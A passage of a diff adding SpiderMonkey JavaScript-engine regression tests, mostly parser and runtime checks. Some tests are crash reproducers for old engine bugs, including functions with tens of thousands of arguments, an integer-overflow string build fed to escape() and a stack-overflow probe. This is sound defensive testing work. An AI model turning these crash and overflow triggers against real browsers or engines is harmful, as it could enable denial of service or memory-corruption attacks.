+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function genGluck(str){
+ var x = str;
+ var rx=/end/i;
+ x = x.replace(rx,function($1){
+ $1.match(rx);
+ return "";
+ });
+ x = x.replace(/^end/,"");
+ return x;
+}
+
+expect = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXX";
+
+actual = genGluck( expect + "end" );
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-289094.js b/js/src/tests/js1_5/Regress/regress-289094.js
new file mode 100644
index 000000000..03945f77e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-289094.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 289094;
+var summary = 'argument shadowing function property special case for lambdas';
+var actual = '';
+var expect = 'function:function';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function fn()
+{
+ var o = {
+ d: function(x,y) {},
+ init: function() { this.d.x = function(x) {}; this.d.y = function(y) {}; }
+ };
+ o.init();
+ actual = typeof(o.d.x) + ':' + typeof(o.d.y);
+}
+
+fn();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-290575.js b/js/src/tests/js1_5/Regress/regress-290575.js
new file mode 100644
index 000000000..65c43919a
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-290575.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290575;
+var summary = 'Do not crash calling function with more than 32768 arguments';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crashMe(n) {
+ var nasty, fn;
+
+ nasty = [];
+ while (n--)
+ nasty.push("a"+n); // Function arguments
+ nasty.push("void 0"); // Function body
+ fn = Function.apply(null, nasty);
+ fn.toString();
+}
+
+printStatus('crashMe(0x8001)');
+
+crashMe(0x8001);
+
+reportCompare(expect, actual, summary);
+
+function crashMe2(n) {
+ var nasty = [], fn
+
+ while (n--) nasty[n] = "a"+n
+ fn = Function(nasty.join(), "void 0")
+ fn.toString()
+ }
+
+printStatus('crashMe2(0x10000)');
+
+summary = 'No Syntax Error Function to string when more than 65536 arguments';
+expect = 'Error';
+try
+{
+ crashMe2(0x10000);
+ actual = 'No Error';
+ reportCompare(expect, actual, summary);
+}
+catch(e)
+{
+ actual = 'Error';
+ reportCompare(expect, actual, summary);
+ expect = 'SyntaxError';
+ actual = e.name;
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-290656.js b/js/src/tests/js1_5/Regress/regress-290656.js
new file mode 100644
index 000000000..671304cb4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-290656.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290656;
+var summary = 'Regression from bug 254974';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo() {
+ with(foo) {
+ this["insert"] = function(){ var node = new bar(); };
+ }
+ function bar() {}
+}
+
+try
+{
+ var list = new foo();
+ list.insert();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-294191.js b/js/src/tests/js1_5/Regress/regress-294191.js
new file mode 100644
index 000000000..35eea40a1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-294191.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294191;
+var summary = 'Do not crash with nested function and "delete" op';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ function x()
+ {
+ x;
+ }
+}
+
+f.z=0;
+
+delete f.x;
+
+f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-294195-01.js b/js/src/tests/js1_5/Regress/regress-294195-01.js
new file mode 100644
index 000000000..273b50554
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-294195-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = 'some text sample';
+
+// this first version didn't crash
+var result = s.replace(new RegExp('(^|\\s)(text)'), (new String('$1')));
+result = result.substr(0, 1);
+reportCompare(expect, actual, inSection(1) + ' ' + summary);
+
+// the original version however did crash.
+result = s.replace(new RegExp('(^|\\s)(text)'),
+ (new String('$1')).substr(0, 1));
+reportCompare(expect, actual, inSection(2) + ' ' + summary);
diff --git a/js/src/tests/js1_5/Regress/regress-294195-02.js b/js/src/tests/js1_5/Regress/regress-294195-02.js
new file mode 100644
index 000000000..c6a3cc810
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-294195-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "".replace(/()/, "$1".slice(0,1))
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-294302.js b/js/src/tests/js1_5/Regress/regress-294302.js
new file mode 100644
index 000000000..b4f1ed2fc
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-294302.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294302;
+var summary = 'JS Shell load should throw catchable exceptions';
+var actual = 'Error not caught';
+var expect = 'Error caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ load('foo.js');
+}
+catch(ex)
+{
+ actual = 'Error caught';
+ printStatus(actual);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-295052.js b/js/src/tests/js1_5/Regress/regress-295052.js
new file mode 100644
index 000000000..a84a15787
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-295052.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295052;
+var summary = 'Do not crash when apply method is called on String.prototype.match';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ "".match.apply();
+ throw new Error("should have thrown for undefined this");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for String.prototype.match");
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-295666.js b/js/src/tests/js1_5/Regress/regress-295666.js
new file mode 100644
index 000000000..b527b5ec9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-295666.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295666;
+var summary = 'Check JS only recursion stack overflow';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ throw {toString: parseInt.call};
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-299209.js b/js/src/tests/js1_5/Regress/regress-299209.js
new file mode 100644
index 000000000..891a4fd35
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-299209.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299209;
+var summary = 'anonymous function expression statement => JS stack overflow';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('for (a = 0; a <= 10000; a++) { function(){("");} }');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-299641.js b/js/src/tests/js1_5/Regress/regress-299641.js
new file mode 100644
index 000000000..6f844b27f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-299641.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299641;
+var summary = '12.6.4 - LHS for (LHS in expression) execution';
+var actual = '';
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var i = 0;
+ var a = [{x: 42}];
+ for (a[i++].x in [])
+ return(a[i-1].x);
+ return(i);
+}
+actual = f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-303213.js b/js/src/tests/js1_5/Regress/regress-303213.js
new file mode 100644
index 000000000..d01c28d12
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-303213.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) -- bug 524731
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 303213;
+var summary = 'integer overflow in js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus('This bug passes if no crash occurs');
+
+expectExitCode(0);
+expectExitCode(5);
+
+try
+{
+ var s=String.fromCharCode(257);
+
+ var ki="";
+ var me="";
+ for (i = 0; i < 1024; i++)
+ {
+ ki = ki + s;
+ }
+
+ for (i = 0; i < 1024; i++)
+ {
+ me = me + ki;
+ }
+
+ var ov = s;
+
+ for (i = 0; i < 28; i++)
+ ov += ov;
+
+ for (i = 0; i < 88; i++)
+ ov += me;
+
+ printStatus("done generating");
+ var eov = escape(ov);
+ printStatus("done escape");
+ printStatus(eov);
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-306633.js b/js/src/tests/js1_5/Regress/regress-306633.js
new file mode 100644
index 000000000..880e4efb2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-306633.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306633;
+var summary = 'report compile warnings in evald code when strict warnings enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+expect = 'SyntaxError';
+
+try
+{
+ actual = eval('super = 5');
+}
+catch(e)
+{
+ actual = e.name;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-306727.js b/js/src/tests/js1_5/Regress/regress-306727.js
new file mode 100644
index 000000000..13e3881a0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-306727.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306727;
+var summary = 'Parsing RegExp of octal expressions in strict mode';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// test with strict off
+
+try
+{
+ expect = null;
+ actual = /.\011/.exec ('a'+String.fromCharCode(0)+'11');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
+// test with strict on
+options('strict');
+
+expect = null;
+try
+{
+ actual = /.\011/.exec ('a'+String.fromCharCode(0)+'11');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-306794.js b/js/src/tests/js1_5/Regress/regress-306794.js
new file mode 100644
index 000000000..178c715e0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-306794.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306794;
+var summary = 'Do not assert: parsing foo getter';
+var actual = 'No Assertion';
+var expect = 'No Assertion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('getter\n');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-308085.js b/js/src/tests/js1_5/Regress/regress-308085.js
new file mode 100644
index 000000000..d23ff12c1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-308085.js
@@ -0,0 +1,569 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308085;
+var summary = 'JavaScript switch statement going to the wrong case';
+var actual = 'fail';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+switch (0) {
+case 0:
+ actual = "pass";
+ break;
+case 1:
+ // 546 lines each with 30 "1;" statements
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
